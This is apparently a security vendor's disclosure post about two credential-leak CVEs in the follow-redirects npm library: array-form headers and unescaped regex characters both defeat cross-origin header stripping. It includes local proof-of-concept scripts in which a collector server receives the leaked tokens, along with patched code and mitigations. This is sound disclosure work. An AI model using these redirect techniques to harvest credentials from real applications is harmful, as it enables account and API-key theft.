Two Information-Disclosure CVEs in follow-redirects: CVE-2026-111756 and CVE-2026-111755
follow-redirects is the library that makes Node HTTP requests follow redirects automatically. axios uses it as its redirect layer, which means a large share of the Node ecosystem depends on it every time an outbound request bounces to a new location. The thing it is supposed to protect is simple: when a request follows a redirect that crosses to a different host or downgrades from HTTPS to HTTP, your Authorization, Cookie, and Proxy-Authorization headers should not go along for the ride. Handing a bearer token or session cookie to an attacker-controlled destination is a critical confidentiality failure, and the library has been patched for exactly that several times over.
We pointed KLUE, our security agent, at follow-redirects to see whether that stripping control actually held. It found two separate ways the protection fails without making a sound. One breaks the entire stripping mechanism at once for any caller that happens to pass headers in Node's array form. The other silently breaks it for any custom credential header whose name contains a regex metacharacter. Neither produces an error. Neither warns the caller. The headers just go out.
The short version: if your application makes outbound requests through follow-redirects (directly or through axios) and follows an attacker-controlled cross-origin redirect, both of these bugs allow the redirect target to harvest credentials your application believed were stripped.
At a glance
| Package | follow-redirects (npm) |
| CVEs | CVE-2026-111756 (array-form bypass), CVE-2026-111755 (regex-escaping bypass) |
| Criticality | Medium, for both |
| Affected | 1.16.0 (both), also 1.15.x for the array-form bug |
| Fixed in | 1.16.1 |
| Impact | Silent disclosure of credential headers to attacker-controlled redirect targets |
| Advisories | GHSA-q3jh-wrc6-jgq8 (CVE-2026-111756), GHSA-8r9p-f939-6h3c (CVE-2026-111755) |
| Discovered by | KLUE, Shellvoide's autonomous security agent |
| # | CVE | Finding | The boundary it got around | Severity |
|---|---|---|---|---|
| 1 | CVE-2026-111756 | Array-form request headers bypass the entire strip | for...in over an array yields numeric indices, matching no header names | Medium |
| 2 | CVE-2026-111755 | Incomplete regex escaping in sensitiveHeaders | Unescaped ^ and | break the filter alternation for valid token names | Medium |
How it was found
It started the way every one of our runs does. We set KLUE, our security agent, reading follow-redirects, tracing how a request config moves from invocation through redirection down to the native Node HTTP client. It began from the defenses the maintainers had already built, because the interesting question about a security control is not whether it works for typical inputs, but what assumptions it relies on that might fail. KLUE came back with two: an unstated assumption about the data structure holding the headers, and an incomplete character class in a regular-expression escaper.
That is where our team takes over, which is the part we care about most, because we do not take KLUE's word for anything. Every bug it surfaces goes to an engineer on our side who reproduces it from scratch on a clean install with live HTTP servers before it counts as a finding at all. For these two, that meant standing up test redirectors and collectors, verifying how Node serializes both header forms, and confirming that credentials were delivered verbatim to the wrong host. Only once both held up from end to end did we write them up and send them to the maintainers.
Finding 1: array-form headers bypass the entire strip
In plain terms: Node's http.request accepts headers as either a plain object or an alternating array of names and values. follow-redirects always iterates headers with for...in, which produces numeric indices over an array instead of header names. The filter never matches a number, so nothing is stripped, and every credential header follows the redirect to wherever the server sends you.
The cross-origin credential-stripping control is implemented by removeMatchingHeaders(regex, headers) at index.js:630-640:
function removeMatchingHeaders(regex, headers) {
var lastValue;
for (var header in headers) { // for...in over an array yields "0", "1", "2"...
if (regex.test(header)) { // the header-name regex never matches a numeric index
lastValue = headers[header];
delete headers[header];
}
}
return (lastValue === null || typeof lastValue === "undefined") ?
undefined : String(lastValue).trim();
}
This helper is invoked from _processResponse for three distinct purposes:
- At
index.js:490, to strip the credential filter (this._headerFilter, covering the built-in listAuthorization,Proxy-Authorization,Cookie, plus anysensitiveHeaders) when the redirect crosses origin or downgrades protocol. - At
index.js:470, to strip theHostheader (/^host$/i). - At
index.js:466, to stripcontent-*headers when a 301, 302, or 303 redirect converts POST to GET.
All three silently no-op when headers is an array.
Node's http.request explicitly accepts options.headers as an alternating array of names and values, such as ["Authorization", "Bearer ...", "Cookie", "session=..."]. Developers and client libraries use this form when they need precise control over header ordering or when sending duplicate header keys. For such an array, for (var header in headers) iterates the numeric keys "0", "1", "2", and so on. The header-name regex never matches any number, so removeMatchingHeaders deletes nothing.
The proof of concept stands up two local servers: an initial redirector on port 47301 that returns a 302 redirect, and an attacker-controlled collector on port 47302:
var followRedirects = require("follow-redirects");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" });
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers));
});
redirector.listen(47301, "127.0.0.1", function () {
collector.listen(47302, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1",
port: 47301,
path: "/",
method: "GET",
headers: [
"Host", "127.0.0.1:47301",
"Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
"Cookie", "session=ARRAY-FORM-SESSION-ID",
"X-Custom", "harmless"
]
}, function (res) {
var body = "";
res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization :", h.authorization || "(stripped)");
console.log("Cookie :", h.cookie || "(stripped)");
redirector.close();
collector.close();
});
}).end();
});
});
Observed output against follow-redirects 1.16.0:
Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin
Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin
Replacing headers with the equivalent plain object { Authorization: "...", Cookie: "..." } and re-running strips both headers cleanly. The strip branch executes in both runs; only the array iteration causes it to fail.
When combined with sensitiveHeaders, the option added to harden custom header stripping, the array format defeats that protection as well:
headers: [
"Host", "127.0.0.1:47401",
"Authorization", "Bearer BUILTIN-VICTIM-TOKEN",
"Cookie", "session=BUILTIN-SESSION-ID",
"X-API-Key", "DECLARED-VICTIM-KEY"
],
sensitiveHeaders: ["X-API-Key"]
All three are forwarded to the redirect destination:
Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN <- LEAKED
Cookie (built-in list) : session=BUILTIN-SESSION-ID <- LEAKED
X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- LEAKED
On an HTTPS-to-HTTP redirect, the credentials additionally traverse the wire unencrypted, exposing them to on-path network observers.
Secondary correctness defects arise from the same root cause: the stale Host header of the first origin is re-sent to the new origin, and on a POST-to-GET redirect, Content-Length is preserved despite the request body being emptied.
The remediation detects arrays in removeMatchingHeaders and walks them in name/value pairs:
function removeMatchingHeaders(regex, headers) {
if (Array.isArray(headers)) {
var lastValue;
for (var i = 0; i < headers.length; i += 2) {
if (regex.test(headers[i])) {
lastValue = headers[i + 1];
headers.splice(i, 2);
i -= 2;
}
}
return (lastValue === null || typeof lastValue === "undefined")
? undefined : String(lastValue).trim();
}
// existing object logic
}
Classification. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-212 (Improper Removal of Sensitive Information Before Storage or Transfer). Assigned CVE-2026-111756, published as GHSA-q3jh-wrc6-jgq8. Affects 1.15.x and 1.16.0. Fixed in 1.16.1.
Finding 2: incomplete regex escaping in sensitiveHeaders
In plain terms: the sensitiveHeaders option protects a custom header by building a regular expression that matches its name. The function that escapes the name before inserting it into the regex fails to escape ^ and |. Both are valid header-name characters under RFC 9110 and accepted by Node. A header name containing either character corrupts the regex alternation, so the filter never matches, and the header is forwarded on redirect while the caller believes it is protected.
The filter is constructed once in the RedirectableRequest constructor at index.js:118-120:
this._headerFilter = new RegExp("^(?:" +
sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
")$", "i");
escapeRegex at index.js:703-705:
function escapeRegex(regex) {
return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");
}
The character class in escapeRegex escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }.
RFC 9110 defines valid HTTP header field names using the tchar token character set. Node's http.ClientRequest permits ^ and | in header names and rejects [, {, and } with ERR_INVALID_HTTP_TOKEN. That makes ^ and | live, reachable vectors for silent credential disclosure. (Separately, passing [, {, or } in sensitiveHeaders injects an unbalanced token into the alternation, triggering a SyntaxError at request initialization).
Here is how each character corrupts the alternation:
- A header name containing
^, such asX-Api^Key, is placed raw into the pattern asX-Api^Key. The^becomes a start-of-string anchor midway through the regex. The branch^...X-Api^Key...$can never match any input string,test("X-Api^Key")returnsfalse, and the header is never stripped. - A header name containing
|, such asX-Token|Secret, injects an unescaped pipe into the alternation. The single entry is split into two independent branches:X-TokenandSecret. The real headerX-Token|Secretis never matched and remains unstripped. Collaterally, unrelated headers namedX-TokenorSecretwould be stripped instead.
The generated pattern for a request declaring three sensitive headers looks like this:
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
Matching results against this compiled pattern: X-Api^Key evaluates to false, X-Token|Secret evaluates to false, and X-Control-Key (a normal header name used as a control) evaluates to true. The split tokens X-Token and Secret evaluate to true.
The proof of concept demonstrates the failure:
var followRedirects = require("follow-redirects");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:45902/" });
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers));
});
redirector.listen(45901, "127.0.0.1", function () {
collector.listen(45902, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1",
port: 45901,
path: "/",
headers: {
"X-Api^Key": "SECRET-LEAKED-1",
"X-Token|Secret": "SECRET-LEAKED-2",
"X-Control-Key": "SHOULD-BE-STRIPPED",
"Authorization": "Bearer BUILTIN-CTL"
},
sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
}, function (res) {
var body = "";
res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("X-Api^Key :", h["x-api^key"] || "(stripped)");
console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)");
console.log("Authorization :", h["authorization"] || "(stripped - OK)");
redirector.close();
collector.close();
});
}).end();
});
});
Observed output against follow-redirects 1.16.0:
X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target
X-Control-Key : (stripped - OK) <- control: option works for normal names
Authorization : (stripped - OK) <- control: built-in list works
The control lines confirm that the stripping routine ran. Only the headers with metacharacter names slipped through.
A secondary facet affects options mutated in the beforeRedirect hook. The regex filter is built once at request construction and cached on this._headerFilter. Because stripping occurs before the hook is evaluated and the filter is never recompiled, any entry added to options.sensitiveHeaders inside beforeRedirect is ignored.
The remediation replaces escapeRegex with the complete set of regular-expression metacharacters:
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
Classification. CWE-185 (Incorrect Regular Expression), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Assigned CVE-2026-111755, published as GHSA-8r9p-f939-6h3c. Affects version 1.16.0. Fixed in 1.16.1.
Why both of these happened
Neither bug is exotic. The first is an assumption about data structures: the library assumed headers would always arrive as a plain JavaScript object, overlooking that Node's native HTTP module has supported alternating arrays for years. The second is an incomplete character class: an escaping function meant to make strings safe for regex compilation that left out two valid token characters.
They are two of the most common ways a security control fails: the assumption about the input format, and the filter that did not cover the full grammar.
What makes them dangerous is that both fail open and fail silently. When a security control fails with an error or a crash, developers notice immediately and investigate. When a stripping filter fails silently, everything looks normal. A developer who configures sensitiveHeaders tests it against standard header names, sees them stripped on redirect, and reasonably assumes the control is operating. The unit tests in the repository only exercised names like Sensitive-A and x-sensitive-b, which contain no metacharacters, so CI remained green. Similarly, an application sending array-form headers experiences normal request dispatching until a redirect occurs, at which point the credentials pass through without an exception or log entry.
That is the kind of edge KLUE is built to find, because it does not stop at "there is a header filter, good." It traces the data structure from the caller to the sink and asks what happens when the caller passes a valid input that breaks the filter's internal assumptions. An engineer on our team confirmed both end to end on clean installs before reporting them. That is the division of labor we rely on: the agent searches the entire surface and asks the awkward questions, and a human engineer closes the loop.
Impact
Both vulnerabilities lead to unauthorized credential exposure across origins. An attacker who can influence or control a redirect destination that a victim application contacts can collect authentication tokens, API keys, or session identifiers.
- For the array-form defect (CVE-2026-111756), all credential headers are forwarded, including built-in headers (
Authorization,Cookie,Proxy-Authorization) and all declaredsensitiveHeaders. - For the regex-escaping defect (CVE-2026-111755), custom sensitive headers containing
^or|are forwarded. The built-in list does not contain metacharacters and remains protected on object-form headers. - If a redirect downgrades the connection from HTTPS to HTTP, the credentials are additionally transmitted in plaintext over the wire.
- Downstream applications using axios inherit both issues wherever axios delegates redirect handling to follow-redirects.
Mitigation
Upgrade to follow-redirects 1.16.1, which addresses both CVEs.
If upgrading immediately is not possible:
- Ensure headers are passed as plain JavaScript objects rather than alternating arrays.
- Avoid using
^or|in custom sensitive header names, or sanitize them before passing them tosensitiveHeaders. - For axios users, update to a version that specifies
follow-redirects >= 1.16.1.
Disclosure
KLUE discovered both vulnerabilities during an autonomous security review of follow-redirects. We reported both findings to the maintainers with reproducible proofs of concept and verified remediation code. Both were reviewed, accepted, assigned CVEs (CVE-2026-111756 and CVE-2026-111755), and fixed in follow-redirects 1.16.1. Thanks to the maintainers for a fast and straightforward triage.
References
- CVE-2026-111756, array-form bypass: GHSA-q3jh-wrc6-jgq8
- CVE-2026-111755, regex-escaping bypass: GHSA-8r9p-f939-6h3c
- Prior related advisory: GHSA-r4q5-vmmm-2653 (CVE-2026-40895, the original
sensitiveHeadersoption) - Related prior advisories: CVE-2022-0155, CVE-2022-0536
- The follow-redirects project: github.com/follow-redirects/follow-redirects
- RFC 9110 HTTP Semantics, Section 5.6.2 (Tokens): datatracker.ietf.org/doc/html/rfc9110#section-5.6.2
Want a run like this against your own codebase? Book a time-boxed engagement at shellvoide.com/book, or reach us at info@shellvoide.com.